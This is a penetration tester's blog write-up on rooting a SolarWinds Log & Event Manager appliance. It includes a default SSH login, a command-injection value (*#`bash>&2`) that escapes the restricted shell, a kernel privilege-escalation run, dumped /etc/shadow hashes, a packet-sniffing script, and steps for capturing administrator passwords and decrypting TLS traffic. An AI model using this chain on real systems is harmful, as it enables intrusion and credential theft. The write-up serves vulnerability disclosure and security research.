Unexpected Journey #4 – Escaping from Restricted Shell and Gaining Root Access to SolarWinds Log & Event Manager (SIEM) Product

By time goes, I’ve found myself more focusing on SIEM product during penetration test. This is the fourth article of my article series called as “Unexpected Journey” which all of them focused on different SIEM products. In this article, I will share the details how I’ve got root access to the SolarWinds Log & Event Management product.

We detected a web interface during the network scanning and then our journey has begun.

Performing Full Nmap and Deciding Initial Attack Vectors

Like every pentester do, we performed a full network scan on selected IP address. Here is the result.

➜  ~ nmap -sS -A -p - --version-all 12.0.0.154 -Pn -n
...
PORT      STATE    SERVICE       VERSION
22/tcp    open     ssh           OpenSSH 5.5p1 Debian 6+squeeze8 (protocol 2.0)
| ssh-hostkey: 
|   1024 3b:f7:c5:30:df:88:b4:c7:8d:0a:6c:ac:7f:05:95:a7 (DSA)
|_  2048 0f:33:37:21:c9:7b:b6:78:93:09:a5:fe:23:9b:08:aa (RSA)
25/tcp    filtered smtp
80/tcp    open     http          Apache Tomcat/Coyote JSP engine 1.1
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache-Coyote/1.1
|_http-title: SolarWinds Log & Event Manager
443/tcp   open     ssl/https     Apache-Coyote/1.1
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache-Coyote/1.1
|_http-title: SolarWinds Log & Event Manager
| ssl-cert: Subject: commonName=swi-lem/organizationName=SolarWinds/countryName=US
| Issuer: commonName=SWI LEM CA/organizationName=SolarWinds/stateOrProvinceName=Texas/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha512WithRSAEncryption
| Not valid before: 2017-03-01T12:17:20
| Not valid after:  2027-02-27T12:17:20
| MD5:   bf89 8039 7749 6e49 084f 09de 5f05 d669
|_SHA-1: 7a8e ea43 5a84 2f0c 4fab f878 5888 a9a0 91a1 7d2f
|_ssl-date: 2017-03-02T11:32:53+00:00; -1s from scanner time.
514/tcp   open     shell?
4803/tcp  filtered unknown
5432/tcp  filtered postgresql
8080/tcp  open     http          Apache Tomcat/Coyote JSP engine 1.1
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache-Coyote/1.1
|_http-title: SolarWinds Log & Event Manager
8443/tcp  open     ssl/https-alt Apache-Coyote/1.1
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache-Coyote/1.1
|_http-title: SolarWinds Log & Event Manager
| ssl-cert: Subject: commonName=swi-lem/organizationName=SolarWinds/countryName=US
| Issuer: commonName=SWI LEM CA/organizationName=SolarWinds/stateOrProvinceName=Texas/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha512WithRSAEncryption
| Not valid before: 2017-03-01T12:17:20
| Not valid after:  2027-02-27T12:17:20
| MD5:   bf89 8039 7749 6e49 084f 09de 5f05 d669
|_SHA-1: 7a8e ea43 5a84 2f0c 4fab f878 5888 a9a0 91a1 7d2f
|_ssl-date: 2017-03-02T11:32:53+00:00; 0s from scanner time.
9001/tcp  open     tor-orport?
10009/tcp filtered swdtp-sv
10010/tcp filtered rxapi
10011/tcp filtered unknown
10012/tcp filtered unknown
10101/tcp filtered ezmeeting-2
10102/tcp filtered unknown
32022/tcp open     ssh           OpenSSH 5.5p1 Debian 6+squeeze8 (protocol 2.0)
| ssh-hostkey: 
|   1024 3b:f7:c5:30:df:88:b4:c7:8d:0a:6c:ac:7f:05:95:a7 (DSA)
|_  2048 0f:33:37:21:c9:7b:b6:78:93:09:a5:fe:23:9b:08:aa (RSA)
37890/tcp open     ssl/unknown
37891/tcp open     unknown
37892/tcp open     unknown

Here is the initial attack vectors we had planned to continue with:

  1. There is number of web management interface running on 80, 443, 8080, 8443.
    Pentester Comment: Most of the product are using 80 and 443 to redirect user to 8080 and 8443. We could look for/manager/ path for known attacks such as war deploy etc.
  2. There is a 3 non-common open port (37892, 37890, 37891)
    Pentester Comment: I believe those ports are used for communication between agents and server. We could go deeper and look for some sort of API abusement, overflows or format strings.
  3. SSH services are detected on 22 and 32022.
    Pentester Comment: That is quite interesting. Why did they decide to bind 32022 along side with 22 ?

After initial attack vector decision, I’ve ask to one of my teammate for take care of Option #1 and I choose Option #3 for myself. Obviously, option #2 requires much much more effort which is the reason we left it for last option.

Uncovering SSH User (Thanks to Docs)

First thing I’ve done was performing a brute-force with wordlist. I was not expecting to log in directly to the server with weak password but you know, we need to do basic check all the time. I’ve started to thinking about the same question. Why did they decided to bind 32022 port ? In order to find out a requirement, I’ve started to googling and found following crucial information.

Default password of Solarwinds LEM

Following output shows initial connection to the SSH service.

➜ ssh [email protected] -p 32022 
Password: 
Linux swi-lem 3.2.0-3-amd64 #1 SMP Mon Jul 23 02:45:17 UTC 2012 x86_64
Last login: Thu Mar  2 02:29:55 2017 from 12.0.0.1
  //////////////////////////////////////////////////
  ///       SolarWinds Log & Event Manager       ///
  ///                   management console       ///
  //////////////////////////////////////////////////

Detected VMware Virtual Platform
Product Support Key: 83B3R-58Y75-KTUY-KPWM-KQLS7-J7QKQ
Available commands:
  [ appliance ]  Network, System
  [ manager ]    Upgrade, Debug
  [ service ]    Restrictions, SSH, Snort
  [ ndepth ]     nDepth Configuration/Maintenance
    upgrade      Upgrade this Appliance
    admin        Run Admin UI (for better usability browse https://12.0.0.154/mvc/configuration)
    import       Import a file that can be used from the Admin UI
    help         display this help
    exit         Exit
cmc >

That was quite surprising for me. How the hell did they left default password ? In order to understand installation process of SolarWind LEM and find out password change policies, I’ve downloaded the latest version from vendor page and completed the installation. If you are visiting web management interface in first time, LEM forces you to change default password. There is no other way to continue using product without changing the password. But SSH user cmc’s password remains same all the time. You have to particularly connect to the SSH and change the password manually by using restricted shell!

Escaping From Restricted Shell

As you can see at SSH output, we had restricted shell. I’ve tried very simple known commands to escape from jail but none of them had worked. Then I’ve stared to looking for a features of given menus and started to think about how can I abuse them.

cmc > service
Available commands:
    startssh           Start the SSH Service
    stopssh            Stop the SSH Service
    restartssh         Restart the SSH Service
    restrictssh        Restrict Access to the SSH Service (by IP Address/hostname)
    unrestrictssh      Remove Restrictions on Access to the SSH Service
    snmp               Configure the SNMP Services
    copysnortrules     Copy Snort rules to floppy or network share
    loadsnortrules     Load Snort rules from floppy or network share
    loadsnortbackup    Load Snort rules from backup
    restartsnort       Restart the Snort Service
    enableflow         * Enable the flow Collection Service
    disableflow        Disable the flow Collection Service
    restrictconsole    Restrict Access to the Manager Console (GUI) by IP/hostname
    unrestrictconsole  Remove Restrictions on Access to the Console (GUI)
    restrictreports    Restrict Access to Reports by IP/hostname
    unrestrictreports  Remove Restrictions on Access to Reports
    stopopsec          Stop all running OPSEC LEA client connections
    help               display this help
    exit               Return to main menu

    NOTE: Commands with an asterisk (*) include an automatic manager service restart

One menu called as restrictssh looked promising to me. Because, it must be performing a operating system commands in order to update /etc/ssh/sshd_config file.

If I were a man who implemented this feature, I probably use AllowUsers cmc@[USER_SUPPLIED_IP_ADDRESS] command at config file. Which is really good location where we can inject /bin/bash or familiar things that may help us to escape from restricted shell. I’ve decided to go with this feature.

cmc::service > restrictssh
Press <enter> to configure restriction on the SSH service to the Manager Appliance

Please enter the IP addresses or hostnames you wish to allow, space separated
  (e.g. machine1 machine2.domain.com machine3)
> *#`bash>&2`
Are the hosts *#`bash>&2` correct? <Y/n> 
Done restricting the SSH service.
cmc@swi-lem:/usr/local/contego$ id
uid=1001(cmc) gid=1000(trigeo) groups=1000(trigeo),4(adm),24(cdrom),25(floppy),104(postgres),105(snort),1002(dbadmin)
cmc@swi-lem:/usr/local/contego$

Sweet..! You may ask why did I use *#`bash>&2` this payload. If my assumption is true, I don’t want to mess up with config file. If I cause a some sort of syntax error on config file, I may not be able to connect SSH anymore.

It’s turned out my assumption was totally true. Here is the config file of ssh. (I’m so happy that I’m not a developer btw! But thinking like them always saved my life so far!)

mc@swi-lem:/usr/local/contego$ cat /etc/ssh/sshd_config|grep AllowUsers

AllowUsers trigeo@* [email protected] cmc@*#`bash>&2`*

I’ve managed to inject our payload to the script as a input. But it also used by script for updating SSH config file. Our payload begins with * because I want to cmc user accessible from everywhere. used right after * in order to comment out rest of the payload in order to block syntax error on ssh file ?

Escalating To The Root

From my experience, all these type of products shipped with a old kernels. We’ve seen this on previous articles of Unexpected Journey articles.

cmc@swi-lem:/usr/local/contego$ uname -a
Linux swi-lem 3.2.0-3-amd64 #1 SMP Mon Jul 23 02:45:17 UTC 2012 x86_64 GNU/Linux

cmc@swi-lem:/usr/local/contego$ cat /etc/issue
Debian GNU/Linux 6.0 \n \l

We can directly use dirtyc0w and ntfs-3g vulnerabilities that causes a local privileges escalation. In order to create a reliable exploit we need gcc and linux header packages must be installed on target. Otherwise, we need to compile them locally and then upload them which may cause also make our exploit unreliable due to missing linking and header files.

I’ve managed to compile Linux Kernel < 3.8.9 (x86-64) – ‘perf_swevent_init’ Privilege Escalation (2) and uploaded to the server.

cmc@swi-lem:/tmp$ chmod +x perf_swevent
cmc@swi-lem:/tmp$ ./perf_swevent
Searchin...
perf_swevent_enabled is at 0xffffffff817d9b40
IDT at 0xffffffff8172b000
Using interrupt 0
Shellcode at 0x81000000
Triggering sploit
id
Got signal
Launching shell

# id
uid=0(root) gid=1000(trigeo) groups=0(root),4(adm),24(cdrom),25(floppy),104(postgres),105(snort),1000(trigeo),1002(dbadmin)

# cat /etc/shadow
root:$6$N1ACi2G5$piyQgQ9qGQt5QE6borGr.hlj9aGzHjSbLwL4GrvRmnVxnjIbLHdZA5dRg5PmQ1gl7xmJELvgd03waWtAvE1BC1:17229:0:99999:7:::
daemon:*:12966:0:99999:7:::
bin:*:12966:0:99999:7:::
sys:*:12966:0:99999:7:::
sync:*:12966:0:99999:7:::
games:*:12966:0:99999:7:::
man:*:12966:0:99999:7:::
lp:*:12966:0:99999:7:::
mail:*:12966:0:99999:7:::
news:*:12966:0:99999:7:::
uucp:*:12966:0:99999:7:::
proxy:*:12966:0:99999:7:::
www-data:*:12966:0:99999:7:::
backup:*:12966:0:99999:7:::
list:*:12966:0:99999:7:::
irc:*:12966:0:99999:7:::
gnats:*:12966:0:99999:7:::
nobody:*:12966:0:99999:7:::
Debian-exim:!:12966:0:99999:7:::
trigeo:$6$kCwwUXLYd5/YIu$cZFvgC4.xKUgbGLZ5TtL7RlovL2qehNEV8L9fZ5Pv0PxaF5U1B20Pf5wz1XD10qOLE.K0/vWZIpz1ct2JNEzw/:17226:0:99999:7:::
sshd:!:12966:0:99999:7:::
postgres:!:12966:0:99999:7:::
cmc:$6$dEqXJUot$vrCf4szo9yugTPx25FNflWzSHCRulPqLLODZu57lqwJj9JXmOKloTiLe6Es9KuYrjteqYtFH5rgFIwe2ZK4gn0:17226:0:99999:7:::
libuuid:!:14785:0:99999:7:::
snort:*:14785:0:99999:7:::
messagebus:*:15849:0:99999:7:::
snmp:*:16310:0:99999:7:::
lynx:x:17032:0:99999:7:::

Metasploit Module

Here is the metasploit module on action for this vulnerability (https://github.com/rapid7/metasploit-framework/pull/8126)

Post Exploitation: Invalidating All Session and Capturing Network Packets for Plain-Text Password

One thing that I wanted to do right after gaining a root privilege session was capture the administrator credentials. Instead of brute-forcing a password hash taken from database, I decided to capture network packets on target but tcpdump and other network diagnostic tools wasn’t installed on the target. I’ve used following python script in order to capture all network traffics.

#!/usr/bin/python
# -*- coding:utf-8 -*-
import socket
import struct
import time

class Pcap:
    def __init__(self, filename, link_type=1):
        self.pcap_file = open(filename, 'wb')
        self.pcap_file.write(struct.pack('@ I H H i I I I', 0xa1b2c3d4, 2, 4, 0, 0, 65535, link_type))

    def write(self, data):
        ts_sec, ts_usec = map(int, str(time.time()).split('.'))
        length = len(data)
        self.pcap_file.write(struct.pack('@ I I I I', ts_sec, ts_usec, length, length))
        self.pcap_file.write(data)

    def close(self):
        self.pcap_file.close()

pcap = Pcap('capture.pcap')

conn = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(3))

while True:
    raw_data, addr = conn.recvfrom(65535)
    pcap.write(raw_data)

This script listens network interface and then save packages in a pcap format into the file called as capture.pcap. Now it’s time to invalidate all existing session so sys admins go over login action one more time for us.

# /etc/init.d/lem-manager restart
Stopping SolarWinds LEM Manager... [done]
Starting SolarWinds LEM Manager... [done]

I’ve restarted the service and then started the packet capturing script immediately. After waiting about 20 mins, I’ve downloaded pcap file to my local machine and started to analysis.

SolarWind LEM product uses Java AMF serialization for API call. I didn’t want to spend to much time to write another python script for parsing pcap and performing AMF deserialization. I knew wireshark had a support for almost every single protocol.

I’ve filtered http packets and found POST requests that possibly contains a login action. And then kept continuing to using wireshark for AMF deserialization. As you can see above screenshot, we have a base64 encoded string that represents auth.

➜  ~ echo "YWRtaW46TWVobWV0MTIz"| base64 -D

admin:Mehmet123

Sweet..!  I’ve got what I needed.

What we could do if the sys admins were using 8443 instead of 8080 ?

Since we have got a root shell on target, we can easily capture the SSL private-public key pairs. Following screenshot shows Java truststore password that has used by the init script as a parameter. You can directly go exactly same approach with one extra step?

PS: Do not forget to disable diffie-hellman ciphers before restarting the service. Otherwise, you will not be able to decrypt SSL traffic even if you have a private key. Server and client selects prime numbers that will used for shared secret key generation which is only known by server and client during session.

Mehmet Ince

Master Ninja @ Prodaft / INVICTUS Europe.